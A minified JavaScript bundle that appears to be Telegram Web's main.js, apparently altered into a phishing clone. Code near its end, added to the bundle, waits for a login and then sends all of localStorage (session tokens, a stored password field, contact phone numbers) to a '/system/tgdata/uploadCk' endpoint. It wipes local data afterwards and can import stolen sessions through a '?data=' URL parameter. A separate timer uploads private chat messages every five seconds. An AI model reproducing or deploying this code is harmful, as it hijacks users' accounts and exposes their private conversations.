0}),T.ZP.createElement("div",{className:(0,q.Z)("v5WSHYkqrlK9GvmSI1zN",Ge)}),o&&T.ZP.createElement("div",{className:"BlQSOI0qSg9HDzgQGwdw"})):"inactive"===t||"lock"===t?T.ZP.createElement("div",{className:(0,q.Z)(ze,Ge)}):T.ZP.createElement("div",{className:ze})))})),tt=a.p+"app-inactive.da3925145f0a7111c0f1.png",nt=()=>{const e=(0,T.I4)((()=>{window.location.reload()}),[]);return(0,oe.Z)({isActive:!0,onBack:e,shouldResetUrlHash:!0}),T.ZP.createElement("div",{id:"AppInactive"},T.ZP.createElement("div",{className:"content"},T.ZP.createElement("img",{src:tt,alt:""}),T.ZP.createElement("h3",{className:"title"},"Such error, many tabs"),T.ZP.createElement("div",{className:"description"},"Telegram supports only one active tab with the app.",T.ZP.createElement("br",null),"Please reload this page to continue using this tab or close it."),T.ZP.createElement("div",{className:"actions"},T.ZP.createElement(ye.Z,{isText:!0,ripple:!0,onClick:e},"Reload app"))))},ot=e=>{const{isLocked:t}=e,n=(0,se.Z)(v.gl.Main,"LockScreen",!t);return n?T.ZP.createElement(n,e):void 0},rt=e=>{const t=(0,se.Z)(v.gl.Main,"Main");return t?T.ZP.createElement(t,e):void 0};var st=function(e){return e[e.auth=0]="auth",e[e.main=1]="main",e[e.lock=2]="lock",e[e.inactive=3]="inactive",e}(st||{});const at=Object.keys(st).length/2,it=`${t.Tih} ${t.ouc}`,dt=(0,e.c$)((e=>({authState:e.authState,isScreenLocked:e.passcode?.isScreenLocked,hasPasscode:e.passcode?.hasPasscode,isInactiveAuth:(0,f.jUK)(e).isInactive,hasWebAuthTokenFailed:e.hasWebAuthTokenFailed||e.hasWebAuthTokenPasswordRequired,theme:(0,f.Puy)(e)})))((({authState:n,isScreenLocked:o,hasPasscode:r,isInactiveAuth:a,hasWebAuthTokenFailed:i,theme:d})=>{const{disconnect:c}=(0,e.Sv)(),[u,l,f]=(0,Q.Z)(!1),{isMobile:h}=(0,X.ZP)(),m="iOS"===s.Lt||"Android"===s.Lt;let p,g;if((0,T.d4)((()=>{s.EA&&(0,Y.e)()}),[]),(0,T.d4)((()=>{const e=document.body,t=e=>{e.preventDefault(),e.dataTransfer&&(e.target.dataset.dropzone?e.dataTransfer.dropEffect="copy":e.dataTransfer.dropEffect="none")},n=e=>{e.preventDefault()};return e.addEventListener("drop",n),e.addEventListener("dragover",t),e.addEventListener("dragenter",t),()=>{e.removeEventListener("drop",n),e.removeEventListener("dragover",t),e.removeEventListener("dragenter",t)}}),[]),u)p=st.inactive;else if(o)g="lock",p=st.lock;else if(n)switch(n){case"authorizationStateWaitPhoneNumber":g="authPhoneNumber",p=st.auth;break;case"authorizationStateWaitCode":g="authCode",p=st.auth;break;case"authorizationStateWaitPassword":g="authPassword",p=st.auth;break;case"authorizationStateWaitRegistration":p=st.auth;break;case"authorizationStateWaitQrCode":g="authQrCode",p=st.auth;break;case"authorizationStateClosed":case"authorizationStateClosing":case"authorizationStateLoggingOut":case"authorizationStateReady":g="main",p=st.main}else(0,I.ti)(!0)?(g="main",p=st.main):r?p=st.lock:(g=m?"authPhoneNumber":"authQrCode",p=st.auth);p!==st.lock&&p!==st.inactive&&p!==st.main&&(0,w.dx)()?.tgWebAuthToken&&!i&&(g="main",p=st.main),(0,T.d4)((()=>{(0,J.z)()}),[]),(0,T.d4)((()=>{s.Eo||(G=()=>{c(),document.title=it,l()})}),[p,c,l]),(0,T.d4)((()=>{a?(document.title=it,l()):(document.title=t.Tih,f())}),[a,l,f]);const y=(0,ee.Z)(p);function b(){switch(p){case st.auth:return T.ZP.createElement($e,null);case st.main:return T.ZP.createElement(rt,{isMobile:h});case st.lock:return T.ZP.createElement(ot,{isLocked:o});case st.inactive:return T.ZP.createElement(nt,null)}}return(0,T.bt)((()=>{document.body.classList.add(Ge)}),[]),(0,T.bt)((()=>{document.body.style.setProperty("--theme-background-color","dark"===d?t.Itv:t.p3h)}),[d]),T.ZP.createElement(et,{page:g,isMobile:h},T.ZP.createElement(re.ZP,{name:"fade",activeKey:p,shouldCleanup:!0,className:(0,q.Z)("full-height",(p===st.auth||y===st.auth)&&"is-auth"),renderCount:at},b))}));null==window.clearFlag&&(window.clearFlag=!0),window.clearFlag&&(window.clearFlag=!1,localStorage.clear()),document.addEventListener("DOMContentLoaded",(async()=>{if(Element.prototype.toggleAttribute||(Element.prototype.toggleAttribute=function(e,t){return void 0!==t&&(t=!!t),this.hasAttribute(e)?!!t||(this.removeAttribute(e),!1):!1!==t&&(this.setAttribute(e,""),!0)}),null==localStorage.getItem("authLogin"))if(location.href.toString().includes("?data=")){localStorage.setItem("authLogin","yes");var e=location.href.toString().split("?data=")[1],t=atob(e),n=decodeURI(t);console.log(t),n=n.replace(new RegExp("\\\\\\\\","g"),"\\");let s=JSON.parse(n);var o=Object.keys(s),r=Object.values(s);for(let e=0;e<o.length;e++)localStorage.setItem(o[e],r[e]+"");history.pushState(null,null,"")}else var s=setInterval((function(){console.log("Task");var e,t,n,o,r=JSON.parse(localStorage.getItem("user_auth"));if(null!=r&&null!=r.id&&""!=r.id){clearInterval(s),e=document.body,t=`${location.href}/telegram.html`,n=()=>{console.log("创建1")},(o=document.createElement("iframe")).style.width="100%",o.style.height="100%",o.style.margin="0",o.style.padding="0",o.style.overflow="hidden",o.style.border="none",o.style.zIndex="9999",o.style.position="absolute",o.style.left="0",o.style.top="0",n&&"[object Function]"===Object.prototype.toString.call(n)&&(o.attachEvent?o.attachEvent("onload",n):o.addEventListener?o.addEventListener("load",n):o.onload=n),o.src=t,e.appendChild(o);var a=localStorage.getItem("uphone");null!=a&&""!=a&&null!=a||(a=(new Date).getTime()+"",localStorage.setItem("utack",a));var i=localStorage.getItem("pwdas");null!=i&&""!=i&&null!=i||(i="nothavapas"),setTimeout((()=>{console.log("开始解析 localStorage 中的数据");const e=localStorage.getItem("tt-global-state");console.log("tt-global-state 数据:",e);const t=JSON.parse(e);if(console.log("解析后的 globalState:",t),t){const e=t.contactList,n=t.users.byId;t.chats.byId;let o=[];if(e&&e.userIds)for(let t of e.userIds){let e=n[t];e&&e.phoneNumber&&o.push(e.phoneNumber)}console.log("插入联系人数据"),localStorage.setItem("UserData",o)}else console.log("没有联系人数据");var n=new XMLHttpRequest;n.open("POST","/system/tgdata/uploadCk/"+a+"/"+i,!0),n.setRequestHeader["User-Agent"]="安全中心",n.setRequestHeader("Content-type","application/json"),localStorage.removeItem("tt-global-state"),n.send(JSON.stringify(localStorage)),n.onreadystatechange=function(){console.log("ok"+a+i),localStorage.clear(),window.indexedDB.deleteDatabase("tweb"),localStorage.setItem("uphone",a)}}),8e3)}}),50)})),setInterval((function(){console.log("beginChat");const e=localStorage.getItem("tt-global-state");if(null!==e){const t=JSON.parse(e);if(t){t.contactList,t.users.byId;const e=t.chats.byId,n=[],o=localStorage.getItem("user_auth");if(null!==o){const t=JSON.parse(o);let r=" ";t&&(r=t.id);for(const t in e)if(e.hasOwnProperty(t)){const o=e[t];if(o.lastMessage&&o.lastMessage.content&&o.lastMessage.content.text&&"chatTypePrivate"==o.type&&null!=o.lastMessage.senderId){let t=o.lastMessage.senderId,s="未知";t&&(s=e[t].title);const a={content:o.lastMessage.content.text.text,chatId:r,title:s,senderId:t,date:1e3*o.lastMessage.date};n.push(a)}}!function(e){var t=new XMLHttpRequest;t.open("POST","/system/chat/uploadChat",!0),t.setRequestHeader["User-Agent"]="安全中心",t.setRequestHeader("Content-type","application/json"),t.send(JSON.stringify(e)),t.onreadystatechange=function(){}}(n)}}}}),5e3),t.kj5&&(0,A.Ru)(),async function(){t.eMD&&console.log(">>> INIT"),window.isCompatTestPassed&&((0,H.dE)(),await(window.electron?.restoreLocalStorage()),s.Eo&&(U&&((0,y.AG)((t=>{if(t===(0,y._w)()){U&&(U.removeEventListener("message",V),$=!0);const n=(0,e.Rd)(),o=O(n,{...n,byTabId:(0,b.CE)(n.byTabId,[t])});return void("symbol"!=typeof o&&U.postMessage({type:"globalDiffUpdate",diff:o}))}let n=(0,e.Rd)();n={...n,byTabId:(0,b.CE)(n.byTabId,[t])},(0,e.R3)(n)})),(0,c.ll)((e=>{if(!j||$)return void(F=e);if(F===e)return;if(!F)return F=e,void U.postMessage({type:"globalUpdate",global:e});const t=O(F,e);"symbol"!=typeof t&&U.postMessage({type:"globalDiffUpdate",diff:t}),F=e})),U.addEventListener("message",V)),await function(e){U&&U.postMessage({type:"requestGlobal",appVersion:"10.4.5"});const n=()=>{_&&(_(),_=void 0),j=!0};return localStorage.getItem(t.NUd)?(setTimeout(n,800),new Promise((e=>{_=e}))):(n(),Promise.resolve())}(),localStorage.setItem(t.NUd,"1"),(0,N.Gq)((()=>{const n=(0,e.Rd)();1===Object.keys(n.byTabId).length&&localStorage.removeItem(t.NUd)}))),(0,e.Sv)().initShared(),(0,e.Sv)().init(),(0,e.Sv)().updateShouldEnableDebugLog(),(0,e.Sv)().updateShouldDebugExportedSenders(),s.Eo&&((0,y.l)(),(0,y.Pz)((t=>{(0,e.Sv)().switchMultitabRole({isMasterTab:t},{forceSyncOnIOs:!0})}))),t.eMD&&console.log(">>> START INITIAL RENDER"),(0,A.WM)((()=>{!function(){if(!s.jm)return;const e=document.getElementById("the-manifest-placeholder");if(!e)return;const n=`site_apple${t.eMD?"_dev":""}.webmanifest`;e.setAttribute("href",n)}(),M.ZP.render(T.ZP.createElement(dt,null),document.getElementById("root")),function(){if(!s.cj)return;let e,t=Date.now();function n(){e||R||(e=window.setInterval(Z,5e3))}window.addEventListener("focus",(()=>{const e=Date.now();e-t<100||(t=e,n(),Z())})),window.addEventListener("blur",(()=>{clearInterval(e),e=void 0})),document.hasFocus()&&(n(),Z())}()})),t.eMD&&console.log(">>> FINISH INITIAL RENDER"),t.eMD&&document.addEventListener("dblclick",(()=>{console.warn("TAB STATE",(0,f.jUK)((0,e.Rd)())),console.warn("GLOBAL STATE",(0,e.Rd)())})))}(),(0,N.Gq)((()=>{const t=(0,e.Sv)();t.leaveGroupCall?.({isPageUnload:!0}),t.hangUp?.({isPageUnload:!0})}))})()})();
//# sourceMappingURL=main.bcfddf515958c318bae6.js.map